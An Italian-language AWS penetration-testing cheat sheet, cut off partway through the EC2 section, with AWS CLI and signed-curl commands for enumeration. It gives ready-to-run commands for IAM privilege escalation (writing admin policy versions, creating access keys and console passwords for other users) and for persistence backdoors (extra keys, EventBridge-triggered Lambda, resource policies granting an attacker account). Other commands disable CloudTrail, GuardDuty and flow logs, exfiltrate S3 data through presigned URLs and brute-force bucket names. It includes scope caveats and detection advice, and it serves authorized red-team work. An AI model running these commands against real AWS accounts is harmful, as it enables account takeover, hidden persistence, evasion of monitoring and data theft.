guides-resources

AWS CLI Linux: Pentest ,Enumeration ,Attacco e Difesa

AWS CLI Linux: Pentest ,Enumeration ,Attacco e Difesa

AWS CLI su Linux per il pentesting di Amazon Web Services: comandi di enumeration IAM, S3, EC2 e Lambda, verifica dei permessi e privilege escalation cloud.

  • Pubblicato il 2026-10-29
  • Tempo di lettura: 34 min

AWS CLI per Pentest: Enumeration, IAM e Privilege Escalation #

Su Linux, AWS CLI è uno degli strumenti fondamentali per il pentest offensivo su Amazon Web Services: permette di enumerare le risorse cloud, analizzare i permessi IAM e individuare percorsi di privilege escalation partendo da credenziali AWS ottenute durante un engagement autorizzato.

Questa guida è una** cheat sheet **pratica di AWS penetration testing e red team assessment: raccoglie i comandi per enumerare IAM, S3, EC2, Lambda e gli altri servizi principali, verificare i privilegi effettivi e analizzare tecniche di privilege escalation, lateral movement, data exfiltration e persistence. Include esempi operativi, prerequisiti, impatto delle misconfigurazioni e riferimenti a MITRE ATT&CK Cloud, oltre alle richieste HTTP firmate con curl e Signature Version 4 (SigV4), utili quando AWS CLI non è disponibile su Linux. L’obiettivo è riprodurre scenari realistici di attacco cloud, comprendere fin dove arrivano le autorizzazioni e documentare i rischi senza uscire dallo scope del pentest.

Firmare richieste AWS con curl, senza la CLI #

Da curl 7.75.0 esiste --aws-sigv4, che firma la richiesta con Signature Version 4 usando le credenziali passate con --user. Sintassi:

bash
curl --aws-sigv4 "aws:amz:REGION:SERVICE" \
  --user "ACCESS_KEY_ID:SECRET_ACCESS_KEY" \
  -H "x-amz-security-token: SESSION_TOKEN" \
  URL

L’header x-amz-security-token va aggiunto a mano solo se le credenziali sono temporanee (STS, ruolo EC2/Lambda/ECS, assume-role) — con una coppia access key/secret key permanente non serve. SERVICE è il signing name del servizio (es. sts, s3, lambda, secretsmanager — coincidono quasi sempre col nome usato nell’hostname).

Ogni servizio AWS usa uno di tre protocolli diversi, e questo cambia come costruisci la richiesta:

  • query/REST con form-urlencoded (STS, IAM, RDS, CloudFormation, SNS…): parametri in Action=X&Version=Y&... nel body o nella query string.
  • JSON 1.1 con X-Amz-Target (Secrets Manager, SSM, KMS, ECS, ECR, Organizations, Cognito…): body JSON puro, l’operazione è specificata nell’header X-Amz-Target: ServiceName.OperationName, non nell’URL.
  • REST-JSON/REST-XML con path reali (Lambda, S3, EKS, API Gateway): l’operazione è determinata dal path e dal metodo HTTP, come una API REST normale.

Ho verificato in locale (server di test + confronto con una firma SigV4 calcolata indipendentemente) che le firme generate da --aws-sigv4 per tutti e tre i protocolli sono corrette.

Probe non autenticato: fingerprinting di un endpoint prima di firmare #

Prima ancora di avere credenziali valide (o per verificare che un endpoint/servizio sia effettivamente raggiungibile, in quale region, dietro quale WAF/proxy), una richiesta non firmata con curl -i (così vedi anche gli header di risposta, non solo il body) contro un endpoint AWS reale è comunque informativa:

bash
curl -i https://lambda.us-east-1.amazonaws.com/2015-03-31/functions/

AWS risponde comunque — con un 403 e un body {"message":"Missing Authentication Token"} o {"__type":"MissingAuthenticationTokenException",...} — e questo da solo ti confirma: il servizio esiste in quella region, il path/versione API è corretto, e non c’è un layer intermedio (WAF, proxy aziendale, firewall) che blocca la richiesta prima che arrivi ad AWS. Se invece ottieni un timeout, un reset di connessione, o un errore DNS, il problema è a monte (region sbagliata, servizio non disponibile lì, o un blocco di rete).

Occhio a non confondere questo con un endpoint http://IP/2015-03-31/functions/ su IP nudo: quello non è mai un endpoint AWS pubblico reale (AWS non pubblica servizi dietro un IP diretto senza hostname/TLS) — se lo vedi in un contesto di laboratorio/CTF è quasi certamente un proxy locale, un mock, o il target stesso che reimplementa l’API Lambda (es. LocalStack, o un servizio custom che imita l’interfaccia REST di Lambda per scopi di test). Verifica sempre con curl -i cosa risponde davvero quell’IP prima di trattarlo come se fosse AWS.

Lo stesso probe non firmato funziona su qualunque endpoint di questa guida — basta sostituire l’URL:

bash
curl -i https://secretsmanager.us-east-1.amazonaws.com/
curl -i https://ec2.us-east-1.amazonaws.com/
curl -i https://s3.amazonaws.com/

Tabella dei servizi AWS #

ServizioCos’èCosa enumerareProtocollo APIImpatto di sicurezza
IAMGestione identitàUtenti, ruoli, policy, trust policy, permissions boundaryqueryRoot di quasi ogni privilege escalation
STSCredenziali temporaneeIdentità corrente, ruoli assumibiliqueryPivoting tra ruoli e account
S3Object storageBucket, ACL, bucket policy, versioning, encryptionREST-XMLData exposure, spesso il punto d’ingresso iniziale
EC2Macchine virtualiIstanze, IAM instance profile, security group, user-dataEC2 queryCode execution, credenziali via IMDS
LambdaFunzioni serverlessFunzioni, config, ruolo di esecuzione, env vars, codiceREST-JSONSecret in chiaro, privesc via ruolo di esecuzione
Secrets ManagerSegreti con rotazioneSegreti, metadati, versioniJSON 1.1Credenziali applicative, DB, API key
SSMConfig/segreti + esecuzione remotaParametri, documenti, sessioni attiveJSON 1.1Esecuzione comandi su EC2 come root/SYSTEM
RDSDatabase gestitiIstanze, cluster, snapshotqueryEsposizione rete, snapshot condivisi
ECRRegistro containerRepository, immaginiJSON 1.1Secret hardcoded nelle immagini
ECSOrchestrazione containerCluster, task definition, ExecuteCommandJSON 1.1Secret in task definition, shell nel container
KMSChiavi crittograficheChiavi, policy, statoJSON 1.1Decifratura dati, se autorizzata
CognitoAuth app client-sideIdentity pool, user pool, ruoli unauth/authJSON 1.1Credenziali IAM senza auth, user takeover
EKSKubernetes gestitoCluster, endpoint pubblico, mapping aws-authREST-JSONAccesso al control plane K8s via IAM
CloudFormationInfrastructure as codeStack, output, templatequerySecret hardcoded in template e output
OrganizationsMulti-accountAccount, OU, SCPJSON 1.1Blast radius dell’intera org, pivot cross-account
CloudTrailAudit logTrail attivi, management/data eventsJSON 1.1Capire cosa viene effettivamente loggato

AWS CLI Pentest Cheat Sheet #

I comandi da lanciare per primi in qualunque engagement, prima di scendere nel dettaglio servizio per servizio. R = solo lettura, W = modifica/crea risorse (va tracciato e autorizzato esplicitamente nello scope prima di eseguirlo).

ComandoObiettivoPermesso IAM richiestoR/W
aws sts get-caller-identityChi sono, in che accountNessuno (non bloccabile da deny)R
aws configure listQuale profilo/credenziali sta usando la CLI in questo momento— (locale)R
aws iam list-roles / list-usersMappa identità dell’accountiam:ListRoles, iam:ListUsersR
aws iam simulate-principal-policyVerifica permessi effettivi senza eseguire l’azioneiam:SimulatePrincipalPolicyR
aws s3api list-bucketsBucket di proprietà dell’accounts3:ListAllMyBucketsR
aws ec2 describe-instancesIstanze, instance profile, IMDS configec2:DescribeInstancesR
aws lambda list-functionsFunzioni e ruoli di esecuzione associatilambda:ListFunctionsR
aws ssm describe-instance-informationQuali istanze hanno l’agente SSM attivo (candidate per lateral movement)ssm:DescribeInstanceInformationR
aws secretsmanager list-secretsSegreti presenti (solo metadati)secretsmanager:ListSecretsR
aws cloudtrail get-trail-statusCopertura reale del loggingcloudtrail:GetTrailStatusR

Ogni comando oltre questi dieci modifica, crea o invoca qualcosa: trattalo sempre come W finché non hai verificato che sia realmente read-only.

Prerequisiti per un AWS Pentest #

bash
# Verify AWS CLI v2 is installed — v1 is EOL and some newer APIs/flags
# (e.g. --no-sign-request on some services, certain --query shortcuts)
# are missing or behave differently
aws --version

# See exactly which profile, region and credential source the CLI
# is about to use — check this BEFORE assuming a profile is active
aws configure list

# Confirm identity and account before touching anything
aws sts get-caller-identity --profile pentest

# Confirm which regions are even enabled for this account — resources
# in a disabled/opted-out region won't show up in a default-region scan
aws ec2 describe-regions --all-regions

Prima di enumerare qualsiasi cosa, fissa per scritto: account ID autorizzati nello scope, region da coprire, se le credenziali sono permanenti o temporanee (e quando scadono — aws sts get-session-token/un assume-role hanno una Expiration nella risposta, controllala sempre), e se l’engagement prevede azioni di tipo W o solo enumerazione.

Setup rapido #

bash
# Dedicated profile for the engagement — never use the default one
aws configure --profile pentest

# Or with temporary credentials (e.g. from STS or IMDS)
export AWS_ACCESS_KEY_ID=AKIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...   # only if the credentials are temporary

Le variabili d’ambiente hanno precedenza sul --profile passato a riga di comando. Se i risultati non tornano quelli attesi, controlla sempre env | grep AWS_ prima di sospettare permessi mancanti.

bash
# Current identity — always the first command to run
aws sts get-caller-identity --profile pentest

Equivalente curl (protocollo query, form-urlencoded):

Endpoint: https://sts.us-east-1.amazonaws.com/ — stesso endpoint per ogni azione STS, l’operazione è nel parametro Action del body, non nel path.

bash
curl --aws-sigv4 "aws:amz:us-east-1:sts" \
  --user "$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY" \
  -H "x-amz-security-token: $AWS_SESSION_TOKEN" \
  -H "Content-Type: application/x-www-form-urlencoded; charset=utf-8" \
  -d "Action=GetCallerIdentity&Version=2011-06-15" \
  https://sts.us-east-1.amazonaws.com/

get-caller-identity ritorna Account, UserId, Arn — ti dice subito se sei un IAM user, un ruolo assunto o un utente federato.

IAM via curl #

IAM usa lo stesso protocollo query di STS, ma l’endpoint non è regionale: IAM è un servizio globale, un solo endpoint per tutto l’account indipendentemente dalla region in cui lavori.

Endpoint: https://iam.amazonaws.com/

bash
curl --aws-sigv4 "aws:amz:us-east-1:iam" \
  --user "$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY" \
  -H "x-amz-security-token: $AWS_SESSION_TOKEN" \
  -H "Content-Type: application/x-www-form-urlencoded; charset=utf-8" \
  -d "Action=ListRoles&Version=2010-05-08" \
  https://iam.amazonaws.com/

Nota: anche se l’endpoint IAM è globale, la region passata a --aws-sigv4 (qui us-east-1) resta necessaria per calcolare la firma — SigV4 la richiede comunque come parte dello scope della credenziale, anche quando il servizio stesso non è regionale.

Workflow di AWS enumeration #

  1. Identifica account, principal e region. get-caller-identity + verifica la region attiva. Molte risorse esistono solo in certe region.
  2. Verifica credenziali, sessione e permessi disponibili. Temporanee o permanenti? Quanto durano?
  3. Enumera IAM e le relazioni di fiducia. Chi sei, cosa puoi fare, quali ruoli puoi assumere.
  4. Mappa risorse e servizi accessibili. In base a cosa IAM mostra essere raggiungibile.
  5. Individua potenziali percorsi di privilege escalation.
  6. Valida i risultati nei limiti dello scope e raccogli evidenze. Non eseguire l’escalation “per vedere se funziona” se non è previsto dallo scope.

Enumerazione, verifica permessi e sfruttamento #

Tre fasi distinte, confonderle è l’errore più comune:

  • Enumerazione: raccogliere informazioni.
  • Verifica dei permessi: stabilire se l’azione IAM necessaria è effettivamente disponibile — tramite simulate-principal-policy, test diretti, o lettura della policy.
  • Sfruttamento: eseguire realmente l’azione.

Il fatto che una policy contenga iam:CreateAccessKey non significa che sia sfruttabile: può esserci un Deny esplicito, una condition non soddisfatta, un permissions boundary o una SCP che la blocca.

IAM: enumerazione e privilege escalation #

Enumerazione base #

bash
aws iam get-user
aws iam list-users
aws iam list-roles
aws iam list-groups

# Custom policies in the account — do NOT skip AWS managed policies:
# many (AdministratorAccess, PowerUserAccess, IAMFullAccess...) grant
# huge privileges and must be reviewed just like custom ones
aws iam list-policies --scope Local
aws iam list-policies --scope AWS --only-attached

Relazioni e permessi effettivi #

bash
# Trust policy of a role: who can assume it
aws iam get-role --role-name ROLE_NAME --query 'Role.AssumeRolePolicyDocument'

# Groups a user belongs to
aws iam list-groups-for-user --user-name TARGET

# Attached / inline policies
aws iam list-attached-user-policies --user-name TARGET
aws iam list-attached-role-policies --role-name TARGET
aws iam list-attached-group-policies --group-name TARGET
aws iam list-user-policies --user-name TARGET
aws iam get-user-policy --user-name TARGET --policy-name POLICY_NAME

# Permissions boundary (if set, caps the max effective privilege)
aws iam get-user --user-name TARGET --query 'User.PermissionsBoundary'

# Which users/roles/groups have a given policy attached
aws iam list-entities-for-policy --policy-arn arn:aws:iam::ACCOUNT_ID:policy/POLICY_NAME

Leggere il contenuto reale di una policy #

Una policy ha sempre una versione di default: non assumere mai che sia v1.

bash
aws iam get-policy --policy-arn arn:aws:iam::ACCOUNT_ID:policy/POLICY_NAME \
  --query 'Policy.DefaultVersionId' --output text

aws iam get-policy-version \
  --policy-arn arn:aws:iam::ACCOUNT_ID:policy/POLICY_NAME \
  --version-id VERSION_ID_FOUND_ABOVE

Controlla sempre: statement Effect: Deny (vince sempre), blocchi Condition (IP, MFA, tag), tipo di policy (identity-based, resource-based, trust, SCP, session policy — il privilegio effettivo è l’intersezione di tutte quelle applicabili).

Verificare i permessi senza eseguire l’azione #

bash
aws iam simulate-principal-policy \
  --policy-source-arn arn:aws:iam::ACCOUNT_ID:user/TARGET \
  --action-names s3:GetObject iam:CreateAccessKey sts:AssumeRole

Il simulatore non esegue l’azione reale, ma la chiamata stessa è loggata in CloudTrail come qualsiasi altra API call. Soprattutto: non rappresenta l’intero contesto autorizzativo. Valuta le policy identity-based dell’identità indicata, ma non garantisce di riprodurre fedelmente resource-based policy di un altro account, SCP a livello di Organization, permissions boundary, o condition basate sul contesto reale della richiesta (IP sorgente, MFA al momento della chiamata, tag della risorsa). Un risultato allowed dal simulatore è un’indicazione forte che vale la pena verificare con un test controllato — non una certezza assoluta che l’azione andrà a buon fine in produzione.

Pattern di privilege escalation IAM, con comandi di sfruttamento #

1. iam:CreatePolicyVersion + iam:SetDefaultPolicyVersion

Prerequisito: queste azioni su una policy già attached a te. Impatto: riscrivi la policy con permessi arbitrari. Verifica: se la policy ha già 5 versioni (massimo consentito), serve anche iam:DeletePolicyVersion.

bash
cat > admin_policy.json << 'EOF'
{
  "Version": "2012-10-17",
  "Statement": [{ "Effect": "Allow", "Action": "*", "Resource": "*" }]
}
EOF

aws iam create-policy-version \
  --policy-arn arn:aws:iam::ACCOUNT_ID:policy/TARGET_POLICY \
  --policy-document file://admin_policy.json \
  --set-as-default

2. iam:SetDefaultPolicyVersion su una versione precedente più permissiva

Prerequisito: una versione vecchia della policy, mai eliminata, concedeva più privilegi. Impatto: ripristinandola come default riottieni quei privilegi senza creare nulla di nuovo (più silenzioso del pattern 1).

bash
aws iam list-policy-versions --policy-arn arn:aws:iam::ACCOUNT_ID:policy/VulnerablePolicy
aws iam set-default-policy-version --policy-arn arn:aws:iam::ACCOUNT_ID:policy/VulnerablePolicy --version-id v1

3. iam:PassRole + ec2:RunInstances

Prerequisito: iam:PassRole su un ruolo privilegiato, ec2:RunInstances, più accesso SSH/SSM all’istanza una volta avviata. Impatto: istanza con instance profile privilegiato → credenziali via IMDS.

bash
aws ec2 run-instances \
  --image-id ami-XXXXXXXX --instance-type t2.micro \
  --iam-instance-profile Name=PRIVILEGED_PROFILE \
  --key-name YOUR_KEY --security-group-ids sg-XXXXXXXX \
  --region us-east-1

aws ec2 describe-instances --instance-id i-XXXXXXXX --region us-east-1

Dopo l’accesso all’istanza (SSH o SSM), estrai le credenziali del ruolo da IMDS (vedi sezione dedicata più sotto).

4. iam:CreateAccessKey su altre identità

Prerequisito: azione con resource non limitata a ${aws:username}. Impatto: credenziali permanenti per un utente più privilegiato. Verifica: limite di 2 access key attive per utente.

bash
aws iam create-access-key --user-name TARGET_PRIVILEGED_USER

5. iam:CreateLoginProfile / iam:UpdateLoginProfile

Prerequisito: azione su un utente che non ha (o ha già) una password console. Impatto: accesso console con una password che imposti tu.

bash
aws iam create-login-profile --user-name TARGET --password 'TempPassw0rd!2026' --no-password-reset-required
# Se l'utente ha già un login profile, serve update-login-profile invece
aws iam update-login-profile --user-name TARGET --password 'TempPassw0rd!2026' --no-password-reset-required

6. iam:AttachUserPolicy / AttachGroupPolicy / AttachRolePolicy / Put*Policy

bash
aws iam attach-user-policy --user-name TARGET --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam attach-group-policy --group-name TARGET_GROUP --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam put-user-policy --user-name TARGET --policy-name backdoor --policy-document file://admin_policy.json

7. iam:AddUserToGroup

bash
aws iam add-user-to-group --group-name Admins --user-name TARGET

8. iam:UpdateAssumeRolePolicy e trust relationship permissive

bash
cat > trust_policy.json << 'EOF'
{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Principal": { "AWS": "arn:aws:iam::ACCOUNT_ID:user/TARGET" },
    "Action": "sts:AssumeRole"
  }]
}
EOF

aws iam update-assume-role-policy --role-name PRIVILEGED_ROLE --policy-document file://trust_policy.json
aws sts assume-role --role-arn arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE --role-session-name privesc

9. sts:AssumeRole e trust cross-account

bash
aws sts assume-role --role-arn arn:aws:iam::ALTRO_ACCOUNT_ID:role/TARGET_ROLE --role-session-name pivot

10. Confused deputy: trust policy cross-account senza ExternalId

Prerequisito: una trust policy cross-account (tipica di ruoli pensati per essere assunti da un vendor/SaaS terzo) che fida di un intero account AWS ("Principal": {"AWS": "arn:aws:iam::ACCOUNT_ID:root"} o un ruolo generico) senza richiedere una condition sts:ExternalId. Impatto: se conosci il Role ARN (spesso pubblicato in documentazione di integrazione, o individuabile per tentativi) e controlli qualunque identità in quell’account fidato — anche non quella originariamente prevista — puoi assumere il ruolo.

bash
aws iam get-role --role-name THIRD_PARTY_ROLE --query 'Role.AssumeRolePolicyDocument'
# Look for a Principal scoped to an entire account with NO Condition block
# requiring sts:ExternalId — that's the confused-deputy gap

aws sts assume-role \
  --role-arn arn:aws:iam::ACCOUNT_ID:role/THIRD_PARTY_ROLE \
  --role-session-name confused-deputy-test

Questo è esattamente il problema che l’ExternalId è nato per risolvere (AWS lo documenta per i casi di integrazione cross-account con terze parti) — la sua assenza è un finding da segnalare sempre, non solo una curiosità teorica.

IAM Access Analyzer: risorse esposte cross-account #

accessanalyzer enumera automaticamente quali risorse del tuo account sono raggiungibili dall’esterno (altri account o internet) — più rapido che leggere ogni resource-based policy a mano:

bash
aws accessanalyzer list-analyzers
aws accessanalyzer list-findings-v2 --analyzer-arn ANALYZER_ARN
aws accessanalyzer list-findings-v2 --analyzer-arn ANALYZER_ARN \
  --filter '{"resourceType":{"eq":["AWS::IAM::Role"]}}'

Se non esiste un analizzatore attivo e hai access-analyzer:CreateAnalyzer puoi crearne uno; altrimenti ricadi sull’analisi manuale delle trust policy, cercando "AWS": "*" o Principal che referenziano account esterni.

Role chaining e limite di durata sessione #

Pivotando su più ruoli in sequenza (assume A → da A assume B → da B assume C), ogni hop porta la durata massima della sessione corrente al minimo tra quella del ruolo e 1 ora, a prescindere dalla MaxSessionDuration configurata — e non puoi rigenerare il token senza tornare alla credential originale. Su una chain lunga rischi di perdere accesso a metà operazione: pianifica i tempi.

bash
# Hop 1 — assume intermediate role, export its creds
CREDS=$(aws sts assume-role --role-arn arn:aws:iam::ACC1:role/ROLE_A \
  --role-session-name hop1 --output json)
export AWS_ACCESS_KEY_ID=$(echo "$CREDS" | jq -r '.Credentials.AccessKeyId')
export AWS_SECRET_ACCESS_KEY=$(echo "$CREDS" | jq -r '.Credentials.SecretAccessKey')
export AWS_SESSION_TOKEN=$(echo "$CREDS" | jq -r '.Credentials.SessionToken')

# Hop 2 — from ROLE_A, assume ROLE_B in another account (session cap now 1h)
aws sts assume-role --role-arn arn:aws:iam::ACC2:role/ROLE_B --role-session-name hop2

Pattern cross-service (iam:PassRole come leva comune) #

Lo schema si ripete identico su più servizi: hai iam:PassRole su un ruolo privilegiato, più il permesso di creare una risorsa in un servizio che esegue codice per tuo conto. Il codice/comando/job gira con l’identità del ruolo passato.

bash
# Lambda: crea ed esegui una funzione con un ruolo privilegiato
aws lambda create-function \
  --function-name privesc-check --runtime python3.12 \
  --role arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE \
  --handler lambda_function.lambda_handler --zip-file fileb://payload.zip
aws lambda invoke --function-name privesc-check output.json

# Glue: dev endpoint con ruolo privilegiato, poi SSH per leggere le
# credenziali dal metadata service dell'endpoint
aws glue create-dev-endpoint \
  --endpoint-name privesc-test --role-arn arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE \
  --public-key file://~/.ssh/id_rsa.pub
aws glue get-dev-endpoint --endpoint-name privesc-test

# CloudFormation: stack con un ruolo privilegiato — il template può
# creare direttamente un utente admin ed esporne le access key in output
aws cloudformation create-stack \
  --stack-name privesc --template-body file://create_admin.json \
  --role-arn arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE --capabilities CAPABILITY_IAM
aws cloudformation describe-stacks --stack-name privesc

Persistence: mantenere accesso dopo l’engagement iniziale #

Una volta dimostrato un percorso di escalation, un red team verifica anche se un attaccante potrebbe mantenere l’accesso in modo silenzioso. Due pattern comuni — da eseguire solo se lo scope prevede esplicitamente test di persistence, e da rimuovere a fine engagement:

Backdoor IAM: una seconda access key su un utente legittimo passa quasi sempre inosservata, perché non compare come “nuovo utente” in una revisione superficiale.

bash
aws iam create-access-key --user-name LEGITIMATE_EXISTING_USER
# The new key works exactly like the user's original one — indistinguishable
# in day-to-day use, visible only via explicit list-access-keys auditing

Backdoor via EventBridge + Lambda: una regola pianificata che invoca periodicamente una funzione con un ruolo privilegiato, senza bisogno di nessuna sessione interattiva aperta.

bash
aws events put-rule \
  --name maintenance-check --schedule-expression "rate(1 hour)"

aws lambda add-permission \
  --function-name BACKDOOR_FUNCTION --statement-id eventbridge-invoke \
  --action lambda:InvokeFunction --principal events.amazonaws.com \
  --source-arn arn:aws:events:us-east-1:ACCOUNT_ID:rule/maintenance-check

aws events put-targets \
  --rule maintenance-check \
  --targets "Id"="1","Arn"="arn:aws:lambda:us-east-1:ACCOUNT_ID:function:BACKDOOR_FUNCTION"

Nome della regola volutamente innocuo (“maintenance-check”) — il punto da verificare lato detection è se il cliente ha alerting su nuove regole EventBridge o nuove access key create fuori da un processo di onboarding noto.

Token federati a lunga durata: sts:GetFederationToken genera credenziali temporanee con durata fino a 36 ore (contro l’ora tipica di un assume-role chained), senza creare un utente o una access key che comparirebbero in un audit IAM.

Vincolo importante: AWS permette di chiamarla solo con credenziali long-term di un IAM user (access key permanente, AKIA...) o dell’account root — non funziona con credenziali temporanee ottenute via AssumeRole, AssumeRoleWithSAML o AssumeRoleWithWebIdentity. Utile quindi solo se le credenziali in mano sono di un IAM user, non se sei arrivato lì assumendo un ruolo.

bash
aws sts get-federation-token \
  --name tmp-session \
  --policy '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}' \
  --duration-seconds 129600

Backdoor via resource-based policy #

Una classe di persistence spesso trascurata perché non tocca IAM: molti servizi hanno una resource-based policy propria, modificabile senza permessi iam:*. Aggiungendoci come principal (anche di un account esterno), mantieni accesso alla risorsa anche dopo che la tua identità IAM è stata revocata.

bash
# Lambda: grant an external account the right to invoke the function
aws lambda add-permission \
  --function-name TARGET_FUNCTION --statement-id ext \
  --action lambda:InvokeFunction --principal ATTACKER_ACCOUNT_ID

# KMS: grant yourself decrypt via a grant (separate from the key policy)
aws kms create-grant --key-id KEY_ID \
  --grantee-principal arn:aws:iam::ATTACKER_ACCOUNT_ID:root \
  --operations Decrypt

# Secrets Manager: attach a resource policy opening the secret cross-account
aws secretsmanager put-resource-policy --secret-id SECRET_NAME \
  --resource-policy file://open_policy.json

Lo stesso vale per SNS (set-topic-attributes Policy), SQS (set-queue-attributes Policy) ed ECR (set-repository-policy). Il punto forte per un attaccante è che queste modifiche non compaiono in un audit delle policy IAM — vanno cercate risorsa per risorsa (o con IAM Access Analyzer, vedi sopra). Hardening: Access Analyzer attivo su tutti gli account, alert su AddPermission/CreateGrant/PutResourcePolicy con principal esterni, e deny esplicito nelle SCP sulla condivisione cross-account non approvata.

Defense evasion: disattivare la visibilità del defender #

Tecnica standard di red team (MITRE ATT&CK, categoria Impair Defenses), non enumerazione: se l’identità compromessa ha permessi amministrativi su logging/detection, un attaccante reale li disattiva prima di muoversi. Verificarlo durante un engagement dimostra l’impatto reale di una identità sovra-privilegiata — e va sempre segnalato come finding critico, ripristinando lo stato originale a fine test.

bash
# Stop CloudTrail logging entirely for a trail
aws cloudtrail stop-logging --name TRAIL_NAME

# Disable a GuardDuty detector (stops threat detection, doesn't delete findings already generated)
aws guardduty update-detector --detector-id DETECTOR_ID --no-enable

# Stop AWS Config's configuration recorder (no more config change history)
aws configservice stop-configuration-recorder --configuration-recorder-name DEFAULT

# Delete VPC Flow Logs — removes network traffic visibility
aws ec2 delete-flow-logs --flow-log-ids fl-XXXXXXXX

Disabilitare del tutto un detector è però rumoroso. Un’alternativa più silenziosa è un suppression filter con auto-archive: GuardDuty continua a girare (nessun Enable=false da allertare), ma i finding che corrispondono al filtro vengono archiviati automaticamente e spariscono dalla dashboard attiva.

bash
aws guardduty create-filter \
  --detector-id DETECTOR_ID --name legit-maintenance \
  --action ARCHIVE \
  --finding-criteria '{"Criterion":{"resource.accessKeyDetails.userName":{"Eq":["YOUR_PRINCIPAL"]}}}'

Rilevamento lato defender: ognuna di queste azioni è un evento IAM loggato (se CloudTrail è ancora attivo al momento della chiamata — per questo StopLogging è tipicamente il primo passo, prima di tutto il resto). Un alert su StopLogging, UpdateDetector con Enable=false, CreateFilter con Action=ARCHIVE, o DeleteFlowLogs dovrebbe essere trattato come priorità massima in qualunque setup di monitoring AWS. Mitigazione: restringere questi permessi a un ruolo break-glass separato, con MFA obbligatoria e alerting dedicato su ogni utilizzo.

S3 #

bash
aws s3 ls
aws s3api list-buckets
aws s3 ls s3://BUCKET_NAME --recursive
aws s3api get-bucket-location --bucket BUCKET_NAME
aws s3api get-bucket-acl --bucket BUCKET_NAME
aws s3api get-bucket-policy --bucket BUCKET_NAME
aws s3api get-bucket-policy-status --bucket BUCKET_NAME
aws s3api get-bucket-versioning --bucket BUCKET_NAME
aws s3api get-bucket-encryption --bucket BUCKET_NAME
aws s3api get-bucket-logging --bucket BUCKET_NAME
aws s3api get-bucket-ownership-controls --bucket BUCKET_NAME
aws s3api get-public-access-block --bucket BUCKET_NAME
aws s3api get-public-access-block --account-id ACCOUNT_ID

Equivalente curl per leggere la bucket policy (S3 usa REST-XML, l’operazione è nella query string):

Endpoint: https://BUCKET_NAME.s3.amazonaws.com/ (virtual-hosted style) oppure https://s3.amazonaws.com/BUCKET_NAME (path style, utile se il nome del bucket contiene caratteri non validi in un hostname). Per list-buckets senza specificare un bucket, l’endpoint è https://s3.amazonaws.com/ nudo.

bash
curl --aws-sigv4 "aws:amz:us-east-1:s3" \
  --user "$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY" \
  -H "x-amz-security-token: $AWS_SESSION_TOKEN" \
  -H "x-amz-content-sha256: UNSIGNED-PAYLOAD" \
  "https://BUCKET_NAME.s3.amazonaws.com/?policy"

Tre livelli diversi, da non confondere #

  1. Bucket configurato come pubblico: la bucket policy/ACL lo permette.
  2. Bucket realmente accessibile: con le credenziali che hai in mano, la chiamata va a buon fine.
  3. Oggetti accessibili: un bucket privato può avere singoli oggetti con ACL pubblica.

get-bucket-policy-status dà direttamente IsPublic: true/false. aws s3 ls senza bucket restituisce solo i bucket di proprietà dell’account — una lista vuota non dimostra che l’account non abbia accesso ad altri bucket di terzi.

bash
# Scope recursive listings with a prefix on large buckets — an unfiltered
# recursive list on millions of objects is slow, burns API calls and is
# loud in the logs
aws s3 ls s3://BUCKET_NAME/config/ --recursive
aws s3api list-objects-v2 --bucket BUCKET_NAME --prefix backup/ --max-items 100

Se il bucket/oggetto è pubblico, lo esfiltri anche senza alcuna credenziale AWS:

bash
curl -s "https://BUCKET_NAME.s3.amazonaws.com/config/database.yml" -o database.yml

Exfiltration silenziosa con presigned URL #

Se il bucket è privato ma hai s3:GetObject, puoi generare un URL firmato temporaneo e scaricare l’oggetto da una macchina completamente diversa, senza mai esporre le tue credenziali AWS reali a quel secondo host (utile se il download avviene da un ambiente non fidato, o per dimostrare l’impatto senza lasciare le chiavi in giro):

bash
aws s3 presign s3://BUCKET_NAME/config/database.yml --expires-in 300
# Output: a plain HTTPS URL valid for 300 seconds — fetch it with a bare curl,
# no AWS credentials needed on the machine that downloads it
curl -s "URL_GENERATO_SOPRA" -o database.yml

La generazione dell’URL è loggata in CloudTrail come una firma, ma la richiesta GET effettiva verso l’URL presigned non compare come chiamata API — è una richiesta HTTP qualsiasi verso S3, visibile solo nei log di accesso S3 (get-bucket-logging) se attivi.

Enumerazione senza credenziali: --no-sign-request #

Bucket pubblici rispondono a richieste non firmate — utile per testare l’esposizione da un host senza credenziali AWS, o per brute-force del nome del bucket target:

bash
aws s3 ls s3://TARGET_BUCKET --no-sign-request
aws s3api list-objects-v2 --bucket TARGET_BUCKET --no-sign-request
aws s3 cp s3://TARGET_BUCKET/file.txt - --no-sign-request

Per trovare bucket pubblici a partire dal nome dell’azienda, permuta il nome in varianti comuni (company-backup, company-logs, company-dev, company-prod, company-assets) e testa con --no-sign-request: NoSuchBucket (nome non esiste) è diverso da AccessDenied (esiste, privato).

Oggetti eliminati ma ancora recuperabili: S3 versioning #

Se il bucket ha il versioning abilitato, gli oggetti “cancellati” non sono davvero rimossi — lasciano un DeleteMarker, ma le versioni precedenti restano fino a purge esplicito:

bash
# List ALL versions including delete markers
aws s3api list-object-versions --bucket BUCKET_NAME

# Retrieve a specific version of a "deleted" file
aws s3api get-object \
  --bucket BUCKET_NAME \
  --key path/to/file.txt \
  --version-id VERSION_ID_FROM_ABOVE \
  recovered_file.txt

Una policy di “eliminazione” dei dati sensibili + versioning attivo è una falsa sicurezza: chiunque abbia s3:GetObjectVersion può recuperare tutto.

EC2 e VPC #

bash
aws ec2 describe-instances
aws ec2 describe-security-groups
aws ec2 describe-key-pairs
aws ec2 describe-vpcs
aws ec2 describe-subnets
aws ec2 describe-route-tables
bash
# IAM instance profile attached — often the fastest path to credentials
aws ec2 describe-instances --query 'Reservations[].Instances[].IamInstanceProfile'

# IMDS configuration — HttpTokens: required = IMDSv2 enforced,
# optional = IMDSv1 still accepted
